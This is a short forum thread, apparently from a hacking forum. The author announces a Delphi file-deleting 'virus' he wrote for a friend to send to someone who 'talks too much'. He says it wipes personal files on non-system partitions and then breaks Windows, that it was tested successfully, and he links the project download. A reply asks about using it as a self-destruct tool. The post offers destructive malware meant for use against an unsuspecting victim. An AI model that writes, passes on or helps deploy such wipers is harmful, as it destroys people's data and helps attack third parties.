[Delphi] DeleteMyFiles

[Kulverstukas]

Ohai thar. Well my friend asked for a destructo-virus, one that would delete files when you run it, wants to send to some idiot that talks too much
So I did. This one attempts to grab a list of partitions and delete files on non system ones first, erasing their personal files like pictures, music and whatnot before b0rking the system up. Tested on WinXP SP3 on VM. Did not try on Win7, although it should work...
Yeah yeah... lame. But hell, I don't spread that shit, I just make them

EDIT: "Virus" succeeded deleting 1TB hdd on Win7 before b0rking the system up without a problem

Project: http://9v.lt/projects/delphi/DeleteMyFiles/DeleteMyFiles.zip

[Dropchop]

This got me thinking: Would it to be possible to use this a a sort of "Self destruct button" if you keep your OS on a separate partition?

[Kulverstukas]

This got me thinking: Would it to be possible to use this a a sort of "Self destruct button" if you keep your OS on a separate partition?

No, because this won't delete the whole system, it will just delete the files that are not currently used by the system.
If you want a complete destruction, boot up "Hiren's Boot and Nuke". That shit will wipe your HDD clean.